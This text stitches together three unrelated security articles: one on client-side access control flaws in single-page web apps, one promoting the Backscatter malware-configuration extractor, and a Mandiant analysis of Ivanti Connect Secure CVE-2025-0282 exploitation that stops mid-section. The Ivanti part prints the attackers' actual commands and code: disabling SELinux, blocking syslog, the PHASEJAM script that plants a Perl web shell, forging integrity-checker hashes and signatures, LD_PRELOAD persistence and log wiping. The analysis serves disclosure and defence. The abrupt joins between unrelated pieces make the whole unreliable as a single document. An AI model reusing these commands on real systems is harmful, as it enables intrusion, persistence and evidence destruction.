A SPA is a web application design framework in which the application returns a single document whose content is hidden, displayed, or otherwise modified by JavaScript. This differs from the flat file application framework traditionally implemented in PHP or strictly HTML sites and from the Model-View-Controller (MVC) architecture where data, views, and server controls are handled by different portions of the application. Dynamic data in SPAs is updated through API calls, eliminating the need for page refreshes or navigation to different URLs. This approach makes SPAs feel more like native applications, offering a seamless user experience. JavaScript frameworks that are commonly used to implement SPAs include React, Angular, and Vue.

Client-Side Rendering

In SPAs that use client-side rendering, a server responds to a request with an HTML document that contains only CSS, metadata, and JavaScript. The initially returned HTML document does not contain any content, and instead once the JavaScript files have been run in the browser, the application’s frontend user interface (UI) and content is loaded into the HTML document at runtime. If the application is designed to use routing, JavaScript takes the URL and attempts to generate the page that the user requested. While this is happening, the application is making requests to the API endpoint to load data and check whether or not the current user is authorized to access the data. If a user is not yet authenticated, then the application will render a login page or redirect the user to a separate single sign-on (SSO) application for authentication.

While all of this happens, a user may briefly observe a blank white page before the application dashboard or login page is loaded into their browser. During this pause, the application is potentially loading hundreds of thousands of lines of minified JavaScript that will build the full user experience of the application. SPAs are used in millions of applications across the globe, including Netflix, Hulu, Uber, and DoorDash.

Issues with Client-Side Rendering

Because SPAs rely entirely on the client’s browser to render content (using API data), users have significant control over the application. This enables users to manipulate the application freely, making user or role impersonation easier.

Routing

One fundamental aspect of the JavaScript frameworks that SPAs are implemented in is the idea of routes. These frameworks use routes to indicate different pages in the application. Routes in this case are different views that a user can see, like a dashboard or user profile. Since all of the JavaScript is handled by the client's browser, the client can view these routes in the JavaScript files that are included in the application source. If a user can identify these routes, they can attempt to access any of them. Depending on how the JavaScript was implemented, there may be checks in place to see if a user has access to the specific route. The following is an example of React routing that includes information on creating the views, and more importantly path attributes.

In = function () { return (0, _.jsx)(d.rs, { children: (0, _.jsxs)(ki, { children: [ (0, _.jsx)(d.AW, { path: "/dashboard", children: (0, _.jsx)(Ii, {}), }), (0, _.jsx)(d.AW, { path: "/users", children: (0, _.jsx)(wi, {}), }), (0, _.jsx)(d.AW, { path: "/profile", children: (0, _.jsx)(Ti, {}), }), ], }), }); }; Hidden Elements

One way that access control is handled by SPAs is through hidden page elements. This means that when the page loads, the application checks the user's role through local/session storage, cookie values, or server responses. After the application checks the user’s role, it then displays or hides elements based on the user's role. In some cases, the application only renders elements that are accessible by the user. In other cases, the application renders every element but "hides" them by controlling the CSS properties of the element. Hidden elements can be exposed through browser Developer Tools, allowing users to force their display. These hidden elements could be form fields or even links to other pages.

JavaScript Debugging

Modern browsers allow users to debug JavaScript in real time with breakpoints. Modern web browsers allow breakpoints to be set on JavaScript files, which can be used to modify variables or rewrite functions all together. Debugging core functions can allow users to bypass access controls and gain unauthorized page access. Consider the following JavaScript:

function isAuth() { var user; var cookies = document.cookies; var userData = btoa(cookies).split(‘:’); if (userData.length == 3) { user.name = userData[0]; user.role = userData[1]; user.isAuthed = userData[2]; } else { user.name = “”; user.role = “”; user.isAuthed = false; } return user; }

The previously defined function reads a user’s cookie, Base64 decodes the value, splits the text using : as the delimiter, and if the values match, it considers the user as authenticated. Identifying these core functions allows an attacker to bypass any authorization and access controls that are being handled by the client-side application.

Exploitation

Manually exploiting JavaScript framework issues takes time and practice, but there are a few techniques that can make it easier. A common technique involves analyzing JavaScript files to identify application routes. Identifying routes allows you to “force-browse” to application pages and access them directly, rather than through the UI. This technique may work on its own, but other times you may need to identify any role checks in the application. These checks can be accessed through the JavaScript debugger to modify variables during execution to bypass authorization or authentication checks. Another useful technique involves capturing server responses to requests for user information in an HTTP proxy, such as Burp Suite Professional, and manually modifying the user object. While these exploitation techniques are effective, they can be mitigated through strong preventative measures, including those detailed in this post.

Recommendations

Access control issues are systemic to client-side-rendered JavaScript frameworks. Once a user has the application loaded into their browser, there are few effective mitigations to prevent the user from interacting with content in unauthorized ways. However, by implementing robust server-side access control checks on APIs, the effect that an attacker could produce is severely reduced. While the attacker might be able to view what a page would look like in the context of an administrator or even view the structure of a privileged request, the attacker would be unable to obtain or modify restricted data. 

API requests should be logged and monitored to identify if unauthorized users are attempting to or successfully accessing protected data. Additionally, it is advisable to conduct periodic penetration tests of web applications and APIs throughout their lifetime to identify any gaps in security. Penetration testing should uncover any APIs with partial or incomplete access control implementations, which would provide an opportunity to remediate flaws before they are abused by an adversary.

API Access Controls

Implementing robust API access controls is critical for securing SPAs. Access control mechanisms should use a JSON Web Token (JWT) or other unique, immutable session identifier to prevent users from modifying or forging session tokens. API endpoints should validate session tokens and enforce role-based access for every interaction. APIs are often configured to check if a user is authenticated, but they don’t comprehensively check user role access to an endpoint. In some cases, just one misconfigured endpoint is all it takes to compromise an application. For example, if all application endpoints are checking a user’s role except the admin endpoint that creates new users, then an attacker can create users at arbitrary role levels, including admin users. 

An example of proper API access control is shown in Figure 1.

Figure 1: Proper API access control example

This diagram shows a user authenticating to the application, receiving a JWT, and rendering a page. The user interacts with the SPA and requests a page. The SPA identifies that the user is not authenticated so the JavaScript renders the login page. Once a user submits the login request, the SPA forwards it to the server through an API request. The API responds stating the user is authenticated and provides a JWT that can be used with subsequent requests. Once the SPA receives the response from the server, it stores the JWT and renders the dashboard that the user originally requested. 

At the same time, the SPA requests the data necessary to render the page from the API. The API sends the data back to the application, and it is displayed to the user. Next, the user finds a way to bypass the client-side access controls and requests the main admin page in the application. The SPA makes the API requests to render the data for the admin page. The backend server checks the user’s role level, but since the user is not an admin user, the server returns a 403 error stating that the user is not allowed to access the data.

The example in Figure 1 shows how API access controls prevent a user from accessing API data. As stated in the example, the user was able to access the page in the SPA; however, due to the API access controls, they are not able to access the data necessary to fully render the page. For APIs developed in C# or Java, frameworks often provide annotations to simplify implementing access controls.

Server-Side Rendering

Aside from API access controls, another way to mitigate this issue is by using a JavaScript framework that has server-side rendering capabilities, such as Svelte-Kit, Next.js, Nuxt.js, or Gatsby. Server-side rendering is a combination of the MVC and SPA architectures. Instead of delivering all source content at once, the server renders the requested SPA page and sends only the finalized output to the user. The client browser is no longer in charge of routing, rendering, or access controls. The server can enforce access control rules before rendering the HTML, ensuring only authorized users see specific components or data.

An example of server-side rendering is shown in Figure 2.

Figure 2: Server-side rendering example

This diagram shows a user accessing a server-side rendered application. After requesting an authenticated page in the application, the server checks if the user is authenticated and authorized to view the page. Since the user is not yet authenticated, the application renders the login page and displays that page to the user. The user then authenticates, and the server builds out the session, sets necessary cookies or tokens, and then redirects the user to the application dashboard. Upon being redirected, the user makes a request, the server checks the authentication state, and since the user has permissions to access the page, it fetches the necessary data and renders the dashboard with the data. 

Next, the user identifies an admin page URL and attempts to access it. In this instance, the application checks the authentication state and the user’s role. Since the user does not have the admin role, they are not allowed to view the page and the server responds with either a 403 Forbidden or a redirection to an error page.

A Final Word

In conclusion, SPAs offer a dynamic and engaging user experience, but they also introduce unique security challenges when implemented with client-side rendering. By understanding the vulnerabilities inherent in SPAs, such as routing manipulation, hidden element exposure, and JavaScript debugging, developers can take proactive steps to mitigate risks. Implementing robust server-side access controls, API security measures, and server-side rendering are excellent ways to safeguard SPAs against unauthorized access and data breaches. Regular penetration testing and security assessments can further strengthen the overall security posture of SPAs by identifying any security gaps present in the application and allowing developers to remediate them before they are exploited. By prioritizing security best practices, developers can ensure that SPAs deliver both a seamless user experience and a secure environment for sensitive data.

Written by: Josh Triplett

Executive Summary

Backscatter is a tool developed by the Mandiant FLARE team that aims to automatically extract malware configurations. It relies on static signatures and emulation to extract this information without dynamic execution, bypassing anti-analysis logic present in many modern families. This complements dynamic analysis, providing faster threat identification and high-confidence malware family attribution. Google SecOps reverse engineers ensure precise indicators of compromise (IOC) extraction, empowering security teams with actionable threat intelligence to proactively neutralize attacks.

Overview

The ability to quickly detect and respond to threats has a significant impact on potential outcomes. Indicators of compromise (IOCs) serve as crucial breadcrumbs, allowing cybersecurity teams to identify and mitigate potential attacks while expanding their search for related activity. VirusTotal's existing suite of tools to analyze and understand malware IOCs, and thus the Google Threat Intelligence platform by extension, is further enhanced with Backscatter.

VirusTotal has traditionally utilized dynamic analysis methods, like sandboxes, to observe malware behavior and capture IOCs. However, these methods can be time-consuming and may not yield actionable data if the malware employs anti-analysis techniques. Backscatter, a service developed by the Mandiant FLARE team, complements these methods by offering a static analysis capability that directly examines malware without executing it, leading to faster and more efficient IOC collection and high-confidence malware family identification. Additionally, Backscatter is capable of analyzing sandbox artifacts, including memory dumps, to improve support for packed and obfuscated malware that does successfully execute in dynamic environments.

Within the Google Threat Intelligence platform, Backscatter shines by identifying configuration data, embedded IOCs, and other malicious artifacts hidden within malware uploaded by users. It can pinpoint command-and-control (C2 or C&C) servers, dropped files, and other signs of malware presence, rapidly generating actionable threat intelligence. All of the extracted IOCs and configuration attributes become immediately pivotable in the Google Threat Intelligence platform, allowing users to identify additional malware related to that threat actor or activity.

Complementing Dynamic Analysis

Backscatter enables security teams to quickly understand and defend against attacks. By leveraging Backscatter's extracted IOCs in conjunction with static, dynamic, and reputational data, analysts gain a more comprehensive view of potential threats, enabling them to block malicious communication, detect and remove dropped files, and ultimately neutralize attacks.

Backscatter's static analysis approach, available in Google Threat Intelligence, provides a valuable addition to the platform's existing dynamic analysis capabilities. This combination offers a more comprehensive threat intelligence strategy, allowing users to leverage the strengths of both approaches for a more robust security posture.

Backscatter in GTI and VirusTotal

Backscatter is available to Google SecOps customers, including VirusTotal Enterprise and its superseding long-term Google Threat Intelligence platform. While detecting a file as malicious can be useful, more clarity about the specific threat provides defenders with actionable intelligence. By providing a higher confidence attribution to a malware family, capabilities and behaviors can be approximated from previous reporting without requiring manual analysis.

Figure 1: Google Threat Intelligence identifies that a service has extracted DONUT and ASYNCRAT malware configurations from the file (link)

Embedded data such as C2 servers, campaign identifiers, file paths, and registry keys can provide analysts with additional contextual information around a specific event. Google Threat Intelligence helps link that event to related activity by providing pivots to related IOCs, reports, and threat actor profiles. This additional context allows defenders to search their environment and expand remediation efforts.

Figure 2: Google Threat Intelligence displays that Backscatter was able to extract the DONUT payload

Figure 3: Google Threat Intelligence displays that Backscatter was able to extract the DONUT payload's ASYNCRAT configuration

By taking a static approach to extracting data from malware, Backscatter is able to handle files targeting different environments, operating systems, and execution mechanisms. In the previous example, the DONUT malware sample is x86 shellcode and was not able to be executed directly by a sandbox.

Backscatter in the Field

Mandiant Managed Defense leverages Backscatter to deliver faster and more accurate identification and analysis of rapidly emerging malware families. This enables them to more quickly scope threat activity and more rapidly provide customers with pertinent contextual information. From distribution campaigns providing initial access, to ransomware operations, to targeted attacks by state-sponsored actors, Backscatter aims to provide actionable threat intelligence to enable security teams and protect customers.

Figure 4: Google Threat Intelligence displays a phishing campaign involving UNC2500 using the BLACKWIDOW and DARKGATE backdoors

One example threat group is UNC2500, which primarily distributes malware via email attachments and links to compromised websites. Many of the malware families used by this group, such as QAKBOT and DARKGATE, are supported by Backscatter, allowing Managed Defense customers to proactively block IOCs extracted by Backscatter.

Figure 5: UNC2500 provides initial access to UNC4393 to deploy BASTA ransomware

Looking Ahead

Backscatter stands as a testament to Google SecOps' commitment to providing cutting-edge tools for combating cyber threats. By offering a fast and efficient way to extract IOCs through static analysis, Backscatter empowers security teams to stay one step ahead of attackers. Incorporating Backscatter into their workflow, Google Threat Intelligence customers can strengthen their cybersecurity defenses and safeguard their valuable assets.

Written by: John Wolfram, Josh Murchie, Matt Lin, Daniel Ainsworth, Robert Wallace, Dimiter Andonov, Dhanesh Kizhakkinan, Jacob Thompson

Note: This is a developing campaign under active analysis by Mandiant and Ivanti. We will continue to add more indicators, detections, and information to this blog post as needed. See the Changelog at the bottom of this post for more details.

On Wednesday, Jan. 8, 2025, Ivanti disclosed two vulnerabilities, CVE-2025-0282 and CVE-2025-0283, impacting Ivanti Connect Secure (“ICS”) VPN appliances. Mandiant has identified zero-day exploitation of CVE-2025-0282 in the wild beginning mid-December 2024. CVE-2025-0282 is an unauthenticated stack-based buffer overflow. Successful exploitation could result in unauthenticated remote code execution, leading to potential downstream compromise of a victim network.

Ivanti and its affected customers identified the compromise based on indications from the company-supplied Integrity Checker Tool (“ICT”) along with other commercial security monitoring tools. Ivanti has been working closely with Mandiant, affected customers, government partners, and security vendors to address these issues. As a result of their investigation, Ivanti has released patches for the vulnerabilities exploited in this campaign and Ivanti customers are urged to follow the actions in the Security Advisory to secure their systems as soon as possible.

Mandiant attributes the activity described in this blog post to UNC5221. UNC5221 is a suspected China-nexus espionage actor that previously exploited two vulnerabilities CVE-2023-46805 and CVE-2024-21887 that impacted Ivanti Connect Secure VPN appliances as early as December 2023. Following the successful exploitation of CVE-2023-46805 (authentication bypass) and CVE-2024-21887 (command injection), UNC5221 leveraged multiple custom malware families including the ZIPLINE passive backdoor, THINSPOOL dropper, LIGHTWIRE web shell, and WARPWIRE credential harvester. UNC5221 was also observed leveraging the PySoxy tunneler and BusyBox to enable post-exploitation activity.

Mandiant previously attributed the SPAWN ecosystem of malware (which includes the SPAWNANT installer, SPAWNMOLE tunneler, and the SPAWNSNAIL SSH backdoor) to UNC5337. Since the publication of this blog post, Mandiant has merged UNC5337 into UNC5221.

Exploitation

While CVE-2025-0282 affects multiple patch levels of ICS release 22.7R2, successful exploitation is version specific. Prior to exploitation, repeated requests to the appliance have been observed, likely to determine the version prior to attempting exploitation.

/dana-cached/hc/hc_launcher.22.7.2.2615.jar
/dana-cached/hc/hc_launcher.22.7.2.3191.jar
/dana-cached/hc/hc_launcher.22.7.2.3221.jar
/dana-cached/hc/hc_launcher.22.7.2.3431.jar

Version detection has been observed using the Host Checker Launcher, shown above, and the different client installers to determine the version of the appliance. HTTP requests from VPS providers or Tor networks to these URLs, especially in sequential version order, may indicate pre-exploitation reconnaissance.

While there are several variations during the exploitation of CVE-2025-0282, the exploit and script generally performs the following steps:

1. Disable SELinux

2. Prevent syslog forwarding

3. Remount the drive as read-write

4. Write the script

5. Execute the script

6. Deploy one or more web shells

7. Use sed to remove specific log entries from the debug and application logs

8. Reenable SELinux

9. Remount the drive

Immediately after exploitation the threat actor disables SELinux, uses iptables to block syslog forwarding, and remounts the root partition to enable writing of malware to the appliance.

setenforce 0 iptables -A OUTPUT -p udp --dport 514 -j DROP iptables -A OUTPUT -p tcp --dport 514 -j DROP iptables -A OUTPUT -p udp --dport 6514 -j DROP iptables -A OUTPUT -p tcp --dport 6514 -j DROP mount -o remount,rw / Malware Staging

Mandiant observed the threat actor using the shell script to echo a Base64-encoded script into the /tmp/.t, and then set execution permissions on the file. The figure below shows the contents of /tmp/.t.

#!/bin/sh export LD_LIBRARY_PATH=/home/lib/;export DSINSTALL=/home; export PATH=/usr/local/bin:/bin:/usr/bin:/sbin:/home/bin:/home/venv3/bin/; dmesg -C;bash /tmp/s>/tmp/kN;

Next, the threat actor writes a Base-64 encoded ELF binary into /tmp/svb. The ELF binary first uses setuid to set the owner of the process to root. It then executes /tmp/s (PHASEJAM) which would inherit the root privileges of the parent process. The threat actor then uses dd to overwrite the svb file with zeros, and removes /tmp/.t.

/bin/chmod 6777 /tmp/svb; /tmp/svb; /bin/dd count=1 bs=4096 if=/dev/zero of=/tmp/svb; /bin/chmod 666 /tmp/svb; /bin/rm -rf /tmp/.t; PHASEJAM

PHASEJAM is a dropper written as a bash shell script that maliciously modifies Ivanti Connect Secure appliance components. The primary functions of PHASEJAM are to insert a web shell into the getComponent.cgi and restAuth.cgi files, block system upgrades by modifying the DSUpgrade.pm file, and overwrite the remotedebug executable so that it can be used to execute arbitrary commands when a specific parameter is passed. 

Web Shell

PHASEJAM inserts the web shell into the legitimate files getComponent.cgi and restAuth.cgi as a function named AccessAllow(). The web shell is Perl-based and provides the threat actor with remote access and code execution capabilities on the compromised ICS server. It utilizes the MIME::Base64 module to encode and decode commands and data. 

The table below summarizes the web shell’s functionality, accessible via specific commands derived from HTTP query parameters:

Command

Description

1

Decodes the code provided in the HTTP_CODE environment variable and writes the result into a file named test.p under the /tmp directory. Executes the file using /bin/bash and returns the output of the command execution to the attacker.

2

Similar to command 1 but executes the provided commands using /home/bin/dsrunpriv and the patched remotedebug file.

3

Writes a file with a name specified in the HTTP_CODE environment variable under the /tmp directory with content provided in the License parameter. This functionality allows the attacker to upload arbitrary files on the compromised appliance.

4

Reads the content of a file specified in the Base64-decoded HTTP_CODE environment variable and returns the content to the attacker. This enables the attacker to exfiltrate data from the affected appliance.

5

Similar to command 3 but overwrites the target file instead of appending to it, in case it already exists on the appliance.

Blocked and Simulated Upgrades

To intercept upgrade attempts and simulate an upgrade, PHASEJAM injects a malicious function into the /home/perl/DSUpgrade.pm file named processUpgradeDisplay(). The functionality is intended to simulate an upgrading process that involves thirteen steps, with each of those taking a predefined amount of time. If the ICS administrator attempts an upgrade, the function displays a visually-convincing upgrade process that shows each of the steps along with various numbers of dots to mimic a running process. Further details are provided in the System Upgrade Persistence section. 

remotedebug Hooking

PHASEJAM renames the file /home/bin/remotedebug to remotedebug.bak. PHASEJAM writes a new /home/bin/remotedebug shell script to hook calls to remotedebug. The brief shell script checks for a new -c parameter that allows remote code execution by the web shell. All other parameters are passed through to remotedebug.bak.

The following provides an abridged PHASEJAM Sample:

# create backdoor 1 cp /home/webserver/htdocs/dana-na/jam/getComponent.cgi /home/webserver/htdocs/dana-na/jam/getComponent.cgi.bak sed -i 's/sub main {/sub main {my \$r7=AccessAllow();return if \$r7;/g' /home/webserver/htdocs/dana-na/jam/getComponent.cgi sh=$(echo CnN1YiB...QogICAK|base64 -d) up=$(echo CnN1YiB...xuIjsKCn0K |base64 -d) grep -q 'sub AccessAllow()' || echo "$sh" >> /home/webserver/htdocs/dana-na/jam/getComponent.cgi sed -i "s/$(grep /home/webserver/htdocs/dana-na/jam/getComponent.cgi /home/etc/manifest/manifest -a |grep -oE '[0-9a-f]{64}')/$(/home/bin/openssl dgst -sha256 /home/webserver/htdocs/dana-na/jam/getComponent.cgi |grep -oE '[0-9a-f]{64}')/g" /home/etc/manifest/manifest; #pkill cgi-server # create backdoor 2 cp /home/webserver/htdocs/dana-na/auth/restAuth.cgi /home/webserver/htdocs/dana-na/auth/restAuth.cgi.bak sed -i 's/sub main {/sub main {my \$r7=AccessAllow();return if \$r7;/g' /home/webserver/htdocs/dana-na/auth/restAuth.cgi grep -q 'sub AccessAllow()' echo "$sh" >> /home/webserver/htdocs/dana-na/auth/restAuth.cgi sed -i "s/$(grep /home/webserver/htdocs/dana-na/auth/restAuth.cgi /home/etc/manifest/manifest -a |grep -oE '[0-9a-f]{64}')/$(/home/bin/openssl dgst -sha256 /home/webserver/htdocs/dana-na/auth/restAuth.cgi |grep -oE '[0-9a-f]{64}')/g" /home/etc/manifest/manifest; #pkill cgi-server # remotedebug cp -f /home/bin/remotedebug /home/bin/remotedebug.bak echo IyEvYmluL2Jhc2gKaWYgWyAiJDEiID09ICItYyIgXTsgdGhlbgoJYm FzaCAiJEAiCmVsc2UKCWV4ZWMgL2hvbWUvYmluL3JlbW90ZWRlYnV nLmJhayAiJEAiCmZpICAK|base64 -d >/home/bin/remotedebug chmod 777 /home/bin/remotedebug.bak sed -i "s/$(grep /home/bin/remotedebug /home/etc/manifest/manifest -a |grep -oE '[0-9a-f]{64}')/$(/home/bin/openssl dgst -sha256 /home/bin/remotedebug |grep -oE '[0-9a-f]{64}')/g" /home/etc/manifest/manifest; # upgrade cp -f /home/perl/DSUpgrade.pm /home/perl/DSUpgrade.pm.bak sed -i 's/popen(\*FH, \$prog);/processUpgradeDisplay(\$prog, \$console, \$html);return 0;popen(\*FH, \$prog);/g' /home/perl/DSUpgrade.pm grep -q 'sub processUpgradeDisplay()' || echo "$up" >> /home/perl/DSUpgrade.pm sed -i "s/$(grep /home/perl/DSUpgrade.pm /home/etc/manifest/manifest -a |grep -oE '[0-9a-f]{64}')/$(/home/bin/openssl dgst -sha256 /home/perl/DSUpgrade.pm |grep -oE '[0-9a-f]{64}')/g" /home/etc/manifest/manifest; pkill cgi-server Anti-Forensics

Following exploitation, the threat actor has been observed removing evidence of exploitation from several key areas of the appliance:

1. Clearing kernel messages using dmesg and removing entries from the debug logs that are generated during the exploit

2. Deleting troubleshoot information packages (state dumps) and any core dumps generated from process crashes

3. Removing log application event log entries related to syslog failures, internal ICT failures, crash traces, and certificate handling errors

4. Removing executed commands from the SELinux audit log

dmesg -C cd /data/var/dlogs/ sed -i '/segfault/d' debuglog sed -i '/segfault/d' debuglog.old sed -i '/SystemError/d' debuglog sed -i '/SystemError/d' debuglog.old sed -i '/ifttls/d' debuglog sed -i '/ifttls/d' debuglog.old sed -i '/main.cc/d' debuglog sed -i '/main.cc/d' debuglog.old sed -i '/SSL_read/d' debuglog sed -i '/SSL_read/d' debuglog.old sed -i '/tlsconnectionpoint/d' debuglog sed -i '/tlsconnectionpoint/d' debuglog.old rm -rf /data/var/statedumps/* rm -rf /data/var/cores/* cd /home/runtime/logs sed -i 's/[^\x00]\{1\}\x00[^\x00]*web server[^\x00]*\x00//g' log.events.vc0 sed -i 's/[^\x00]\{1\}\x00[^\x00]*AUT24604[^\x00]*\x00//g' log.events.vc0 sed -i 's/[^\x00]\{1\}\x00[^\x00]*SYS31048[^\x00]*\x00//g' log.events.vc0 sed -i 's/[^\x01]\{1\}\x01[^\x01]*SYS31376[^\x01]*\x01//g' log.events.vc0 sed -i 's/\x01[^\x01]\{2,3\}6[^\x01]*ERR10073[^\xff]*\x09[^\x01]\{1\}\x01/ \x01/g' log.events.vc0 cd /data/var/log/audit/ sed -i '/bin\/web/d' audit.log sed -i '/setenforce/d' audit.log sed -i '/mount/d' audit.log sed -i '/bin\/rm/d' audit.log System Upgrade Persistence

Mandiant identified two techniques the threat actor employed to persist across system upgrades on compromised Ivanti Connect Secure appliances.

Fake System Upgrades

The first technique, utilized by PHASEJAM, prevents legitimate ICS system upgrade attempts by administrators via rendering a fake HTML upgrade progress bar while silently blocking the legitimate upgrade process. Due to the blocked upgrade attempt, the technique would allow any installed backdoors or tools left by the threat actor to persist on the current running version of the VPN while giving the appearance of a successful upgrade.  

First, the threat actor uses sed to insert a malicious Perl code into DSUpgrade.pm to modify the behavior of the system upgrade process. The malicious processUpgradeDisplay() function, which is stored in the shell variable $up, is appended to DSUpgrade.pm.

sed -i 's/popen(\*FH, \$prog);/processUpgradeDisplay(\$prog, \$console, \$html);return 0;popen(\*FH, \$prog);/g' /home/perl/DSUpgrade.pm grep -q 'sub processUpgradeDisplay()' || echo "$up" >> /home/perl/DSUpgrade.pm

The modification occurs within a function in DSUpgrade.pm responsible for installing the new upgrade package. The inserted call to processUpgradeDisplay() with the early return makes the legitimate popen() call to execute /pkg/dspkginstall unreachable. The following provides the relevant excerpt from DSUpgrade.pm as a result of the modification.

local *FH; my $prog = "/pkg/dspkginstall /var/tmp/new-pack.tgz"; if (defined $useUpgradePartition && $useUpgradePartition == 1) { $prog = "/pkg/dspkginstall /data/upgrade/new-pack.tgz"; } processUpgradeDisplay($prog, $console, $html); return 0; popen(*FH, $prog);

The modification intercepts the standard upgrade flow by calling the maliciously created processUpgradeDisplay() function before the legitimate upgrade command executes. The figure below provides an excerpt of the inserted processUpgradeDisplay() function that displays a fake HTML upgrade progress bar, using the sleep command to add dots every second to mimic a running process.

$mystep = 13; $count = 0; $sleep_time = 2; $myline = "Finalizing installation"; print $html "<li style=\"margin:6px;\">Step $mystep: $myline ..."; print $console "$myline ..."; while ($count < $sleep_time) { system("/bin/sleep 1"); print $html "."; print $console "."; ++$count; } print $html " complete ($sleep_time seconds)</li>\n"; print $console " complete ($sleep_time seconds)\r\n";

Recent versions of Ivanti Connect Secure have a built-in integrity checker tool (ICT) that periodically scans the file system to detect new or modified system files that may be indicative of system compromise. The ICT uses a manifest during its scanning process, containing a list of the expected file paths on the system along with its expected SHA256 hash. In an attempt to circumvent the ICT scanner, the threat actor recalculates the SHA256 hash of the modified DSUpgrade.pm and inserts it into the manifest.

sed -i "s/$(grep /home/perl/DSUpgrade.pm /home/etc/manifest/manifest -a |grep -oE '[0-9a-f]{64}')/$(/home/bin/openssl dgst -sha256 /home/perl/DSUpgrade.pm |grep -oE '[0-9a-f]{64}')/g" /home/etc/manifest/manifest;

The threat actor copies the VERSION file from the mounted upgrade partition (tmp/root/home/VERSION) to the current version partition (/home/VERSION). As a result, the system falsely indicates a successful upgrade while continuing to run on the old appliance version.

chdir("/tmp"); system("/bin/mkdir", "-p", "root/home"); system("/bin/tar", "-xzf", $tgz_path, "./root/home/VERSION"); system("/bin/cp -f ./root/home/VERSION /data/versions/reset/VERSION"); system("/bin/cp -f ./root/home/VERSION /home/VERSION");

The SHA256 hash of the VERSION file from the upgrade partition is recalculated and inserted into the ICT manifest.

system('sed -i \'s/$(grep /home/VERSION|grep -oE "[0-9a-f]{64}")/$(/home/bin/openssl dgst -sha256 /home/VERSION)/g\' /home/etc/manifest/manifest'); Persistence Across Upgrades

SPAWNANT (libupgrade.so) is an ELF32 executable that installs three components from the SPAWN family:

1. SPAWNMOLE tunneler (libsocks5.so)

2. SPAWNSNAIL SSH backdoor (libsshd.so)

3. SPAWNSLOTH log tampering utility (.liblogblock.so)

SPAWNANT and its supporting components can persist across system upgrades. It hijacks the execution flow of dspkginstall, a binary used during the system upgrade process, by exporting a malicious snprintf function containing the persistence mechanism.

Unlike the first method described in this blog post for system upgrade persistence, SPAWNANT does not block the upgrade process. It survives the upgrade process by ensuring itself and its components are migrated to the new upgrade partition (mounted on /tmp/data/ during a legitimate system upgrade process).

cp /lib/libupgrade.so /tmp/data/root/lib cp /home/lib/libsocks5.so /tmp/data/root/home/lib cp /home/lib/libsshd.so /tmp/data/root/home/lib

SPAWNANT sets the LD_PRELOAD environment variable to itself (libupgrade.so) within DSUpgrade.pm on the upgrade partition. The modification tells the dynamic linker to load libupgrade.so and use SPAWNANT’s malicious exported snprintf function before other libraries.

ENV{“LD_PRELOAD”} = “libupgrade.so”

Next, SPAWNANT establishes an additional method of backdoor access by writing a web shell into compcheckresult.cgi on the upgrade partition. The web shell uses system() to execute the value passed to a hard-coded query parameter. The following provides the relevant excerpt of the inserted web shell.

if(CGI::param("<redacted>")) { print "Cache-Control: no-cache"; print "Content-type: text/html"; my $a=CGI::param("<redacted>"); system("$a"); }

Throughout this entire process, SPAWNANT is careful to circumvent the ICT by recalculating the SHA256 hash for any maliciously modified files. Once the appropriate modifications are complete, SPAWNANT generates a new RSA key pair to sign the modified manifest.

/home/bin/openssl genrsa -out private.pem 2048 /home/bin/openssl rsa -in private.pem -out manifest.2 -outform PEM -pubout /home/bin/openssl dgst -sha512 -sign private.pem -out manifest.1 /tmp/data/root/home/etc/manifest/manifest mv manifest.1 manifest.2 /tmp/data/root/home/etc/manifest/ rm -f private.pem' Post Exploitation Tunnelers

After establishing an initial foothold on an appliance, Mandiant observed a number of different tunnelers, including the use of publicly-available and open-source tunnelers, designed to facilitate communication channels between the compromised appliance and the threat actor’s command and control infrastructure. These tunnelers allowed the attacker to bypass network security controls and may enable lateral movement further into a victim environment.

SPAWNMOLE 

Originally reported in Cutting Edge, Part 4, SPAWNMOLE is a tunneler injected into the web process. It hijacks the accept function in the web process to monitor traffic and filter out malicious traffic originating from the attacker. SPAWNMOLE is activated when it detects a specific series of magic bytes. Otherwise, the remainder of the benign traffic is passed unmodified to the legitimate web server functions. The malicious traffic is tunneled to a host provided by an attacker in the buffer.

LDAP Queries

The threat actor used several tools to perform internal network reconnaissance. This includes using built-in tools included on the ICS appliance such as nmap and dig to determine what can be accessed from the appliance. The threat actor has also been observed using the LDAP service account, if configured, from the ICS appliance to perform LDAP queries. The LDAP service account was also observed being used to move laterally within the network, including Active Directory servers, through SMB or RDP. The observed attacker commands were prefaced by the following lines:

#!/bin/sh export LD_LIBRARY_PATH=/home/lib/; export DSINSTALL=/home; export PATH=/usr/local/bin:/bin:/usr/bin:/sbin:/home/bin:/home/venv3/bin/; dmesg -c; <commands>

The following reconnaissance commands were seen executed by the threat actor prior to LDAP queries:

dig @<IP ADDRESS> <VICTIM DOMAIN> A nmap -Pn -sT -p 80,443,445 <IP ADDRESS> --open

LDAP queries were executed using /tmp/lmdbcerr, with output directed to randomly named files in the /tmp directory. Password, host, and query were passed as command line arguments.

/tmp/lmdbcerr [redacted] -u 'CN=[redacted],CN=Managed Service Accounts,DC=[redacted]' -p '[redacted]' -h <IP ADDRESS> --tls --dn DC=[redacted] -o /tmp/<RANDOM STRING> /tmp/lmdbcerr [redacted] -u 'dc=[redacted]' -p '<PASSWORD>' -h api-[redacted].duosecurity.com --tls --dn dc=[redacted] -o /tmp/<RANDOM STRING> /tmp/lmdbcerr [redacted] -u 'dc=[redacted]' -p '<PASSWORD>' -h api-[redacted].duosecurity.com --tls --filter '(cn=*)' --dn dc=[redacted] -o /tmp/<RANDOM STRING> /tmp/lmdbcerr [redacted] -u 'dc=[redacted]' -p '<PASSWORD>' -h api-[redacted].duosecurity.com --tls --filter '(distinguishedName=*)' --dn dc=[redacted] -o /tmp/<RANDOM STRING> /tmp/lmdbcerr [redacted] -u 'dc=[redacted]' -p '<PASSWORD>' -h api-[redacted].duosecurity.com --tls --filter '(dn=*)' --dn dc=[redacted] -o /tmp/<RANDOM STRING> Appliance Cache Database Theft

Mandiant has observed the threat actor archiving the database cache on a compromised appliance and staging the archived data in a directory served by the public-facing web server to enable exfiltration of the database. The database cache may contain information associated with VPN sessions, session cookies, API keys, certificates, and credential material. 

The threat actor archives the contents of /runtime/mtmp/lmdb. The resulting tar archive is then renamed and masquerades itself as a CSS file located within /home/webserver/htdocs/dana-na/css/. 

Ivanti has previously published guidance on remediating the risk that may result from the database cache dump. This includes resetting local account credentials, resetting API keys, and revoking certificates.

Credential Harvesting

Mandiant has observed the threat actor deploying a Python script, tracked as DRYHOOK, to steal credentials. The malware is designed to modify a system component named DSAuth.pm that belongs to the Ivanti Connect Secure environment in order to harvest successful authentications.

